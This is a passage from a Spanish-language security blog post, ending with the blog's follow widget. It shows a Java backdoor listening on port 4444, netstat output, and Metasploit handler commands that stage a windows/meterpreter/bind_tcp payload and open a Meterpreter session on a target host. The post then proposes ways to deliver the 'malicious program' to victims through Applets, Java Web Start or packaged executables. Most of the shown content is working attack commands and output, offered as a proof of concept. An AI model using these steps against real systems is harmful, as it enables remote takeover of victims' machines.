Cuando se ejecuta el programa anterior, el proceso queda en estado de escucha y el puerto “4444” quedará abierto.
Si se observa atentamente, no se ha especificado el path donde se encuentra la librería de JNA, esto es debido a que por comodidad, se ha incluido directamente en el directorio de extensiones de la JVM, dicho directorio para el JDK se encuentra en <JDK_HOME>/jre/lib/ext y para el JRE se encuentra en <JRE_HOME>/lib/ext.
Después de ejecutar el programa se podrá ver el puerto “4444” abierto y esperando conexiones.

C:\Documents and Settings\jdaanial>netstat -anv

Active Connections

Proto Local Address Foreign Address State

TCP 0.0.0.0:25 0.0.0.0:0 LISTENING

TCP 0.0.0.0:110 0.0.0.0:0 LISTENING

TCP 0.0.0.0:135 0.0.0.0:0 LISTENING

TCP 0.0.0.0:143 0.0.0.0:0 LISTENING

TCP 0.0.0.0:445 0.0.0.0:0 LISTENING

TCP 0.0.0.0:2869 0.0.0.0:0 LISTENING

TCP 192.168.1.38:4444 0.0.0.0:0 LISTENING

TCP 127.0.0.1:1026 0.0.0.0:0 LISTENING

TCP 127.0.0.1:5152 0.0.0.0:0 LISTENING

TCP 192.168.1.38:139 0.0.0.0:0 LISTENING

……………….

Ahora desde Metasploit será posible obtener una consola Meterpreter.

msf > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows/meterpreter/bind_tcp

PAYLOAD => windows/meterpreter/bind_tcp

msf exploit(handler) > set LPORT 4444

LPORT => 4444

msf exploit(handler) > set RHOST 192.168.1.38

RHOST => 192.168.1.38

msf exploit(handler) > exploit

[*] Started bind handler

[*] Starting the payload handler…

[*] Sending stage (769536 bytes) to 192.168.1.38

[*] Meterpreter session 1 opened (192.168.1.98:51028 -> 192.168.1.38:4444) at 2014-11-09 20:31:37 +0100

meterpreter >

Hasta este punto la prueba de concepto funciona correctamente, pero es necesario trabajar un poco más sobre el mecanismo de distribución del programa malicioso. En este caso, se puede crear un Applet, utilizar el protocolo JNLP (Java Network Launch Protocol) con JWS (Java Web Start) o convertir el programa escrito en Java en un ejecutable propiamente dicho para no depender de la máquina virtual de Java instalada en la víctima y para ello, se pueden utilizar herramientas como Jsmooth o Lauch4J.

Saludos y Happy Hack!

Seguir

Recibe cada nueva publicación en tu buzón de correo electrónico.

Únete a otros 1.148 seguidores

A %d blogueros les gusta esto: